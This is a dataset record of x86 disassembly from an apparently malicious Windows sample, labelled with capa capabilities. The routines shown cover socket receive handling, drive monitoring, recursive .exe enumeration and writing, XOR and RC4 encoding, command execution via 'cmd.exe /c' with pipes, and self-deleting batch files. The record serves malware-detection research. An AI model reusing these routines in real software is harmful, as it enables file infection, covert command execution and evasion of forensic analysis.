joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040fd90
mov eax, dword [0x417008]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [ebp + 8]
mov dword [ebp - 0x100c], ecx
sub eax, 1
jne 0x4026f6
push ebx
push esi
push eax
lea ebx, [ebp - 0x1004]
push 0x1000
mov eax, ebx
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x4026f4
mov ecx, dword [0x418ad4]
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
push edi
test ecx, ecx
je 0x402686
cmp dword [0x418adc], 4
jae 0x4025a5
mov ebx, dword [0x418adc]
lea eax, [ebp - 0x1004]
mov edi, 4
sub edi, ebx
cmp esi, edi
cmovl edi, esi
push edi
push eax
lea eax, [ebx + ecx]
push eax
call fcn.00406a10
add ebx, edi
add esp, 0xc
mov dword [0x418adc], ebx
cmp ebx, 4
jb 0x4026f3
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
lea ebx, [ebp - 0x1004]
mov ecx, dword [0x418ad4]
add ebx, edi
sub esi, edi
push dword [ecx]
call eax
mov edx, dword [0x418adc]
mov ecx, eax
sub eax, edx
mov dword [ebp - 0x1010], ecx
mov dword [ebp - 0x1008], eax
cmp ecx, dword [0x418ad8]
jle 0x4025fa
push ecx
push dword [0x418ad4]
mov dword [0x418ad8], ecx
call fcn.0040773b
mov edi, eax
add esp, 8
test edi, edi
je 0x4026f3
mov eax, dword [ebp - 0x1008]
mov edx, dword [0x418adc]
mov dword [0x418ad4], edi
jmp 0x402600
mov edi, dword [0x418ad4]
test eax, eax
js 0x402660
cmp esi, eax
cmovl eax, esi
push eax
mov dword [ebp - 0x1008], eax
lea eax, [edx + edi]
push ebx
push eax
call fcn.00406a10
mov ecx, dword [0x418adc]
add esp, 0xc
add ecx, dword [ebp - 0x1008]
mov eax, dword [ebp - 0x1010]
mov dword [0x418adc], ecx
cmp ecx, eax
jl 0x4026f3
mov ecx, dword [ebp - 0x100c]
mov edx, edi
push eax
call fcn.00402340
add ebx, dword [ebp - 0x1008]
add esp, 4
sub esi, dword [ebp - 0x1008]
mov edi, dword [0x418ad4]
push edi
call fcn.00407746
add esp, 4
mov dword [0x418ad4], 0
mov dword [0x418adc], 0
test esi, esi
jle 0x4026f3
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
cmp esi, 4
jae 0x402692
mov edi, 4
jmp 0x402698
push dword [ebx]
call eax
mov edi, eax
push edi
cmp edi, esi
jg 0x4026cb
mov ecx, dword [ebp - 0x100c]
mov edx, ebx
call fcn.00402340
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
sub esi, edi
add esp, 4
add ebx, edi
test esi, esi
jg 0x402686
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403f80
mov esp, ebp
pop ebp
ret
mov dword [0x418ad8], edi
call fcn.0040796e
add esp, 4
test eax, eax
je 0x4026f3
push esi
push ebx
push eax
mov dword [0x418ad4], eax
call fcn.00406a10
add esp, 0xc
mov dword [0x418adc], esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403f80
mov esp, ebp
pop ebp
ret
Function at 0x401230
Capabilities:
Create thread
Get disk information
Terminate thread

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x401441
mov edi, 3
mov esi, 1
mov ecx, edi
shl esi, cl
test ebx, esi
je 0x40128a
lea eax, [edi + 0x41]
lea ecx, [esp + 0x1c]
push eax
push str._c:_
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x40128a
not esi
and ebx, esi
inc edi
cmp edi, 0x1a
jl 0x401253
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x44]
rep stosd dword es:[edi], eax
mov ecx, 0x20
lea edi, [esp + 0xc4]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edx, eax
test edx, edx
mov dword [esp + 0x18], edx
je 0x401441
mov edi, 3
xor ebx, ebx
mov dword [esp + 0x14], edi
jmp 0x4012da
mov edx, dword [esp + 0x18]
mov eax, 1
mov ecx, edi
shl eax, cl
mov ecx, dword [esp + 0x10]
test ecx, eax
jne 0x4013df
test edx, eax
je 0x401418
lea edx, [edi + 0x41]
lea eax, [esp + 0x1c]
push edx
push str._c:_
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x401418
cmp eax, 1
je 0x401418
cmp eax, 5
je 0x401418
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esp + 0x28], eax
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x30]
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x14c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 0x2000000
push 3
push 0
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x158]
push 7
lea eax, [esp + 0x44]
push 0xc0000000
push eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], edx
lea esi, [esp + ebx + 0xec]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [esp + 0x2c]
push 0
push ecx
push 0x401450
push 0
push 0
mov dword [esi], eax
mov dword [esp + 0x44], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esp + 0x28]
push 0xffffffffffffffff
push edx
mov dword [esp + ebx + 0x58], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x28]
push eax
call ebp
mov edi, dword [esp + 0x14]
jmp 0x401418
test edx, eax
jne 0x401418
mov esi, dword [esp + ebx + 0x50]
test esi, esi
je 0x4013ff
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebp
mov dword [esp + ebx + 0x50], 0
mov eax, dword [esp + ebx + 0xd0]
test eax, eax
je 0x401418
push eax
call ebp
mov dword [esp + ebx + 0xd0], 0
add ebx, 4
inc edi
cmp ebx, 0x5c
mov dword [esp + 0x14], edi
jl 0x4012d6
mov ecx, dword [esp + 0x18]
push 0x3e8
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4012b5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x401810
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xcc
push ebx
mov ebx, dword [esp + 0xe0]
push esi
push edi
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 0xd4], ebx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0xe0]
push 0xc7
lea ecx, [esp + 0x10]
push eax
push ecx
call sub.MSVCRT.dll_strncpy
mov esi, dword [esp + 0xf8]
mov edx, dword [esp + 0xe8]
push esi
push 0x10
push 1
push edx
call sub.MSVCRT.dll_fwrite
lea eax, [esp + 0x28]
push eax
call fcn.00402560
push esi
push 0xcc
lea ecx, [esp + 0x34]
push 1
push ecx
call sub.MSVCRT.dll_fwrite
mov edx, dword [esp + 0x114]
push esi
push ebx
push 1
push edx
call sub.MSVCRT.dll_fwrite
add esp, 0x40
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xcc
ret
Function at 0x401b30
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x544
mov eax, dword [esp + 0x548]
lea ecx, [esp + 0x144]
push eax
push str._s.
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [esp + 4]
lea eax, [esp + 0x144]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp], eax
je 0x401cbc
push ebx
mov ebx, dword [esp + 0x550]
push ebp
mov ebp, dword [esp + 0x558]
push esi
push edi
test byte [esp + 0x14], 0x10
je 0x401bca
cmp byte [esp + 0x40], 0x2e
je 0x401c95
mov edx, dword [esp + 0x558]
lea ecx, [esp + 0x40]
push ecx
push edx
lea eax, [esp + 0x15c]
push str._s_s_
push eax
call sub.MSVCRT.dll_sprintf
push ebp
lea ecx, [esp + 0x168]
push ebx
push ecx
call fcn.00401b30
jmp 0x401c92
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401c05
test cl, cl
je 0x401c01
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401c05
add eax, 2
add esi, 2
test cl, cl
jne 0x401be1
xor eax, eax
jmp 0x401c0a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401c52
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..EXE
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + ecx + 0x3c]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401c49
test cl, cl
je 0x401c45
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401c49
add eax, 2
add esi, 2
test cl, cl
jne 0x401c25
xor eax, eax
jmp 0x401c4e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401c95
cmp dword [esp + 0x34], 0x3200000
ja 0x401c95
mov eax, dword [esp + 0x30]
test eax, eax
jne 0x401c95
mov ecx, dword [esp + 0x558]
lea eax, [esp + 0x40]
push eax
push ecx
lea edx, [esp + 0x15c]
push str._s_s
push edx
call sub.MSVCRT.dll_sprintf
push ebp
lea eax, [esp + 0x168]
push ebx
push eax
call fcn.004018b0
add esp, 0x1c
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401b85
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x544
ret
Function at 0x4020e0
Capabilities:
Create process on windows
Self delete

Disassembly:
sub esp, 0x504
push ebx
push esi
push edi
call fcn.004030f0
push eax
lea eax, [esp + 0x10]
push str._stttbrozzz.bat
push eax
call sub.MSVCRT.dll_sprintf
mov ebx, dword [esp + 0x520]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x11c]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x5c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x120]
push ecx
call sub.MSVCRT.dll_strrchr
add esp, 0x14
test eax, eax
jne 0x40214b
pop edi
pop esi
pop ebx
add esp, 0x504
ret
lea edx, [esp + 0xc]
push 0x4053b8
push edx
mov byte [eax + 1], 0
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
jne 0x402171
pop edi
pop esi
pop ebx
add esp, 0x504
ret
push str._echo_off_r_n
push esi
call sub.MSVCRT.dll_fprintf
movsx eax, byte [esp + 0x118]
add esp, 8
push eax
push str._c:_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea ecx, [esp + 0x110]
push ecx
push str.cd___s__r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push str.:start_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 8
push ebx
push str.if_not_exist___s__goto_done_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push str.goto_start_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.:done_r_n
push esi
call sub.MSVCRT.dll_fprintf
mov edi, dword [esp + 0x520]
add esp, 8
push ebx
push edi
push str.copy___s____s__r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0x10
push edi
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push ebx
push str.__s__r_n
push esi
call sub.MSVCRT.dll_fprintf
mov eax, dword [esp + 0x528]
add esp, 0xc
test eax, eax
je 0x402234
push eax
push str.__s__r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x10
lea eax, [esp + 0xc]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
pop edi
pop esi
mov eax, ecx
pop ebx
add esp, 0x504
ret
Function at 0x4023b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
cmp byte [edi], 0x22
jne 0x4023fc
inc edi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0xf], al
jmp 0x40241d
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402550
test al, 0x10
je 0x4024a0
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0xf], 0x5c
je 0x402478
mov edi, 0x4053e8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.00401b30
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
lea ebp, [esp + 0x10]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
sub ebp, 4
mov esi, str..exe
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebp
mov dl, byte [ecx]
mov bl, byte [esi]
mov al, dl
cmp dl, bl
jne 0x4024e4
test al, al
je 0x4024e0
mov dl, byte [ecx + 1]
mov bl, byte [esi + 1]
mov al, dl
cmp dl, bl
jne 0x4024e4
add ecx, 2
add esi, 2
test al, al
jne 0x4024bc
xor eax, eax
jmp 0x4024e9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402533
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov esi, str..EXE
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebp
mov dl, byte [ecx]
mov bl, byte [esi]
mov al, dl
cmp dl, bl
jne 0x40252a
test al, al
je 0x402526
mov dl, byte [ecx + 1]
mov bl, byte [esi + 1]
mov al, dl
cmp dl, bl
jne 0x40252a
add ecx, 2
add esi, 2
test al, al
jne 0x402502
xor eax, eax
jmp 0x40252f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402550
mov eax, dword [esp + 0x120]
mov ecx, dword [esp + 0x11c]
push eax
lea edx, [esp + 0x14]
push ecx
push edx
call fcn.004018b0
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x402560
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0xc7], 0xef
je 0x402580
xor eax, eax
mov dl, byte [eax + ecx]
xor dl, 0xef
mov byte [eax + ecx], dl
inc eax
cmp eax, 0xcc
jb 0x40256f
ret
Function at 0x402590
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
cmp byte [ecx + 0xc7], 0xef
jne 0x4025b0
xor eax, eax
mov dl, byte [eax + ecx]
xor dl, 0xef
mov byte [eax + ecx], dl
inc eax
cmp eax, 0xcc
jb 0x40259f
ret

Function at 0x4025c0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x14]
push ebx
push ebp
push esi
mov eax, dword [ecx + 0x3c]
xor edx, edx
add eax, ecx
push edi
xor edi, edi
xor ebp, ebp
mov dx, word [eax + 0x14]
mov di, word [eax + 6]
test edi, edi
lea edx, [edx + eax + 0x18]
mov dword [esp + 0x10], edx
jle 0x40262e
mov esi, str..rsrc
mov eax, edx
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [esi]
jne 0x402615
test cl, cl
je 0x402611
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [esi + 1]
jne 0x402615
add eax, 2
add esi, 2
test cl, cl
jne 0x4025f1
xor eax, eax
jmp 0x40261a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402626
inc ebp
add edx, 0x28
cmp ebp, edi
jl 0x4025ea
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x10], edx
cmp ebp, edi
je 0x402724
mov esi, dword [edx + 0x14]
xor eax, eax
add esi, ecx
xor edx, edx
mov dword [esp + 0x18], 0
mov ax, word [esi + 0xe]
mov dx, word [esi + 0xc]
add eax, edx
lea ecx, [esi + 0x10]
test eax, eax
mov dword [esp + 0x1c], ecx
jle 0x402724
mov eax, dword [ecx]
cmp eax, 3
je 0x402670
cmp eax, 0xe
jne 0x4026fe
mov ebx, dword [ecx + 4]
xor eax, eax
and ebx, 0x7fffffff
xor edx, edx
add ebx, esi
mov dword [esp + 0x14], 0
mov ax, word [ebx + 0xe]
mov dx, word [ebx + 0xc]
add eax, edx
test eax, eax
jle 0x4026fe
lea eax, [ebx + 0x14]
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx]
test eax, 0x80000000
jbe 0x4026d4
mov ebp, dword [esp + 0x10]
and eax, 0x7fffffff
mov edi, esi
mov edx, dword [eax + esi + 0x14]
sub edi, dword [ebp + 0xc]
add edx, esi
xor eax, eax
mov ecx, dword [edx + 4]
mov ebp, dword [edx]
mov edx, ecx
add edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0x24]
xor ecx, ecx
xor edx, edx
mov cx, word [ebx + 0xe]
mov dx, word [ebx + 0xc]
inc eax
add ecx, edx
add ebp, 8
cmp eax, ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], ebp
jl 0x40269c
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
xor edx, edx
mov dx, word [esi + 0xe]
xor edi, edi
mov di, word [esi + 0xc]
inc eax
add edx, edi
add ecx, 8
cmp eax, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
jl 0x402660
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x10
ret
Function at 0x402d10
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x100
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + eax + 0x10], al
inc eax
cmp eax, 0x100
jb 0x402d31
mov edi, dword [esp + 0x120]
mov ebp, dword [esp + 0x11c]
xor ecx, ecx
xor esi, esi
mov eax, ecx
xor edx, edx
div edi
mov bl, byte [esp + ecx + 0x10]
add esi, ebx
mov al, byte [edx + ebp]
add eax, esi
and eax, 0xff
inc ecx
mov esi, eax
cmp ecx, 0x100
mov dl, byte [esp + esi + 0x10]
mov byte [esp + ecx + 0xf], dl
mov byte [esp + esi + 0x10], bl
jb 0x402d4f
mov edx, dword [esp + 0x118]
xor esi, esi
xor edi, edi
test edx, edx
jbe 0x402dd9
mov ecx, dword [esp + 0x124]
mov ebp, dword [esp + 0x114]
sub ebp, ecx
inc esi
and esi, 0xff
mov al, byte [esp + esi + 0x10]
mov bl, al
add ebx, edi
and ebx, 0xff
mov edi, ebx
mov bl, byte [esp + edi + 0x10]
mov byte [esp + esi + 0x10], bl
mov byte [esp + edi + 0x10], al
mov bl, byte [esp + esi + 0x10]
add ebx, eax
and ebx, 0xff
mov al, byte [esp + ebx + 0x10]
mov bl, byte [ecx + ebp]
xor al, bl
mov byte [ecx], al
inc ecx
dec edx
jne 0x402d9b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret

Function at 0x402df0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0x4052f0
push eax
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 8
test esi, esi
jne 0x402e0b
pop esi
ret
push ebx
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
mov ebx, dword [esp + 0x24]
push esi
mov dword [ebx], eax
call sub.MSVCRT.dll_rewind
mov ecx, dword [ebx]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 0x18
test edi, edi
je 0x402e49
mov edx, dword [ebx]
push esi
push edx
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
push esi
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x402e60
Capabilities:
Create process on windows
Self delete

Disassembly:
sub esp, 0x104
push esi
call fcn.004030f0
push eax
lea eax, [esp + 8]
push str._stttdelzzz.bat
push eax
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x10]
push 0x4053b8
push ecx
call sub.MSVCRT.dll_fopen
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x402e9c
pop esi
add esp, 0x104
ret
push edi
push str._echo_off_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.:start_r_n
push esi
call sub.MSVCRT.dll_fprintf
mov edi, dword [esp + 0x118]
add esp, 8
push edi
push str.if_not_exist___s__goto_done_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push edi
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push str.goto_start_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.:done_r_n
push esi
call sub.MSVCRT.dll_fprintf
add esp, 8
lea edx, [esp + 8]
push edx
push str.del___s___Q_r_n
push esi
call sub.MSVCRT.dll_fprintf
push esi
call sub.MSVCRT.dll_fclose
add esp, 0x10
lea eax, [esp + 8]
push 0
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
cmp eax, 0x20
setg cl
pop edi
mov eax, ecx
pop esi
add esp, 0x104
ret
Function at 0x402f40
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Get common file path
Read file on windows

Disassembly:
sub esp, 0xc6c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], bl
mov byte [esp + 0x47c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x47d]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], 0xc
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x402fc1
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc6c
ret
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x7c]
push 0x400
push ecx
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], eax
mov word [esp + 0x60], bx
mov dword [esp + 0x5c], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.cmd.exe__c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x7c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0xc80]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x6c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x80]
push ecx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40308a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xc6c
ret
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x40309b
push eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebx
push eax
lea ecx, [esp + 0x484]
push 0x800
push ecx
push edx
call esi
test eax, eax
je 0x4030cb
push 0x64
call edi
jmp 0x4030a7
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x4030d6
push eax
call ebp
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0xc6c
ret